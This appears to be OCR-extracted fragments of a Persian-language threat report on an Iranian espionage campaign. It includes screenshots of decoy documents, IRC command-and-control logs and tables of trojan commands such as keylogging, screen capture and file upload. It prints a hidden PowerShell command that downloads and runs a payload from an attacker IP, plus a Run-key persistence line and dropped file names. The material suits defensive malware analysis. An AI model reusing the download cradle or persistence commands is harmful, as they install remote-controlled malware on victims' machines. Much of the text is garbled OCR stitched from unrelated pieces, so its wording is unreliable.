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@ Security Waming Some active content has been disabled

HealthSecure user registration form
Use this form to apply for a Digital Certificate as an individual user.

If you require assistance completing this form piease call NZHSRA (New Zealand Health & Disability Sector
Registration Authority) on 0800 117 590.

Click here to complete the form

Ple : All steps on this are

New Zealand Heaith & Disability Soctor Registration Authority
1 the coliection, use and storage of information the NZHSRA wil et 8l bmes comply wih the obigatons of the Prvacy Act 1993 and the
Health Information Privacy Code 1994
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@ Security Waming Some actve content has been disabled. | Options.

Notice: The fle ek ¢ button above,

SHOW
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@ Security Warning Some active content has been disabled. Options...

Assistant Network
Controller Administrator

job description job description

Job Offers
IT Manager Web Programmer
job description job description
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S0 [l 8w (g9) 1 9 03,5 LS @I5Leyd jo5mw I 1) yxe 35 Windows PowerShell loyé 63,0 51 9,5

ol oliws (g9 p o C3yq0dy 0340 adlyys A5 aidsy [PowerShell ¢loy ) iex yiolyl jl sliiwl b Wdigas (s> 55
-3940

powershell.exe -w hidden -noni -nop -c "iex(New-Object
System.Net.WebClient).DownloadString('hxxp://139.59.46.154:3485/eiloShaegael’)"

13940 (50 ol 35 HTTP cawlgs)s 9530 a5 (g2l b
GET /eiloShaegael HTTP/1.1

Host: 139.59.46[.]154:3485
Connection: Keep-Alive

239450 Lzl 6w (59, 5 PowerShell Jawgs aolsl )3 a5 8550 Jlwyl 1) (siasySuwl «olg 53 545 (@ 35Loyd jgpm

Juy(50 H1054) .l 834 83wl “dinngy 35 H8L S (gly2 Hgkiinds Y (glaiiy Szl (gl PowerShell 51 oS5 (godigas (55 55
1wl yj "aasgi Jolis Magic Unicorn "guie a5 .cauwl 814 wauils,y Magic Unicorn jl abgyye a5

one line shellcode injection with native x86 shellcode
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139450 2l y3j loyd b g 6w skl rr.exe pb b L aslsl )

open cmd.exe /c c:\\temp\\rr.exe SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run

"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\spp.exe" iexplore

&jllely b o 55 spp.exe pb b L )15395 (gl Cuw a5 3940 dlzul (G3AlS “lspams 53 135 yamno 3D G99 (yloyd (=l L
.bb)f‘_,o puu.nw“ A O.hi')

SOFTWARE\Microsoft\Windows\CurrentVersion\Run\iexplore
:35lo s (S 55 15 slopL SpPp.exe s ogVc

*  %TEMP%\sloo.exe
=  %TEMP%\spoo.exe
*  %TEMP%\vschos.exe
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~AS_a@172.16.1067.130 (172)

13:42 -1- Irssi: Starting query in 172 with Zuria
13:42 <AF_rfalc> VER

13:42 8 LED= 20160124

13:43 | AF_rfalc( 1) 4:172/Zuria
[Zuria]
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= “Gmail -"
=  “Yahoo - login”
= “SignIn-"
=  “Outlook.com -“
Pold Jlw 53 ] whi;> o5 Rocket Kitten 43 pgwge wlilae 5 s osliiwl IRC Hlal 9 jlal ¢yl (0 585 (Slglyd (glocamlui
315 3929 A yainiio Check Point wiSyib buwgs
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~bxphzrijbx@172.16.107.130 (127)
140 IMpkPing <<mpk>>39170<<mpk>> <<mpk>>0<<mpk>>
140 IHello <<mpk>>95836<<mpk>>Administrator<<mpk>>0<<mpk>>
140 IHello <<mpk>>95836<<mpk>>Admin<<mpk>>1<<mpk>>
140 IHello <<mpk>>95836<<mpk>>yumyumpizza<<mpk>>2<<mpk>>
140 IHello <<mpk>>95836<<mpk>>E7324D56-200D-24A1-216C-FEDDEDAE8239<<mpk>>3<<mpk>>

140 'Hello <<mpk>>95836<<mpk>>Windows XP<<mpk>>4<<mpk>>
IMpkPing <<mpk>>06846<<mpk>> <<mpk>>0<<mpk>>
IMpkPing <<mpk>>72513<<mpk>> <<mpk>>0<<mpk>>
IMpkPing <<mpk>>51492<<mpk>> <<mpk>>0<<mpk>>
1MpkPing <<mpk>>28069<<mpk>> <<mpk>>0<<mpk>>
mpk( 1) 2:127/bxphzribxp
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Command SubCommand Description
VER Generates the following IRC client command that will be sent to the C2 server:
PRIVMSG <username>: 8 LED=20160124
KILL Trojan disconnects from the IRC server and terminates itself
RESET Trojan disconnects from the IRC server and runs the executable again
0s Obtains the Windows version and responds to the C2 with the following message “PRIVMSG
<username> :<one of the following version strings>":
. Windows NT
. Windows 95
. Windows 98
. Windows ME
. Windows 2003
. Windows XP
. Windows 7
. Windows Vista
. Unkown os info
ISH EXEC Not supported

MD Creates a specified directory. The Trojan will respond to the C2 with “PRIVMSG <username> :
<message> [<specified path>]". The message sent to the C2 will be “dir is maked.” if successful
or “dir is not maked" if unsuccessful.

MKDIR Same as MD subcommand.

RD Removes a specified directory. The Trojan will respond to the C2 with “PRIVMSG <username>
: <message> [<specified path>]. The message sent to the C2 will be “dir is removed.” if
successful or “dir is not removed.” if unsuccessful.

DEL Deletes a specified file. The Trojan will respond to the C2 with “PRIVMSG <username> :
<message> [<specified path>]". The message sent to the C2 will be “file is deleted.” if successful
or “file is not deleted.” if unsuccessful.

COPY Not supported.
MOVE Not supported.

REN Renames a specified file. The Trojan will respond to the C2 with “PRIVMSG <username> :
<message> [<specified path>]". The message sent to the C2 will be “file is renamed.” if
successful or “file is not renamed.” if unsuccessful.

DRIVE Lists the logical drives and the type, as well the total/free space of the fixed devices.
EXE Calls GetModuleFileNameA function to obtain the path to the currently running executable and
sends it to the C2 server.
IDWN Downloads a file from a specified URL. Responds to the IRC server via PRIVMSG with
“Download Success :FilePath=<path to downloaded file>" or “Download Fail” if unsuccessful.
ICMD Trojan executes a command prompt command. The Trojan will save the output of the
command to %TEMP%\win<random number>.ixt and send the contents to the C2 server or
“The length of Cmd result file is ziro!" if the command was unsuccessful.
SA Generates the following IRC client command that will be sent to the C2 server:
PRIVMSG <username> : Hello ,my name is <IRC USER name>, Im ready my Computer Name
isi<computer name>
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Command Description
1Dir Lists the contents of a specified directory
|Drives Enumerates the storage drives attached to the system and their respective type.
DeleteFile Deletes a specified file
INickChange Changes the nickname that the Trojan uses to log into the C2 IRC server. Writes it to “nick435.tmp” for

subsequent logins.

IProcessList List running processes, including their PID, parent PID, executable name and priority
ISendFileToServer Uploads a specified file to the C2 server
ICaptureScreen Takes a screenshot that it saves to a file and uploads to the C2 server.
Hello The Trojan introduces itself by sending the current username, if its an admin account or not, the computer

name, the system UUID and the OS version.

ProcessKill Terminates a process based on PID
IRenameFileFolder Renames a file or folder and returns a list of the containing folder to the C2 server.
1GetFileOfServer Writes a file from the C2 server to a specified file
IExecuteCommand Uses the command prompt sub-process to execute commands and returns their results to the C2.
IExeCuteFile Executes a specified file using ShellExecuteA
IDeleteFileFolder Deletes a file or a folder

!SendkeylLogToServer Uploads the %TEMP%\Save.tmp file to the C2 server

IDeleteKeyloggerlog Deletes the %TEMP%\Save.tmp file on the system
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2017/02/unit42-magic-hound-campaign- content/us/pdfs/security-intelligence/white-
attacks-saudi-targets papers/wp-the-spy-kittens-are-back.pdf
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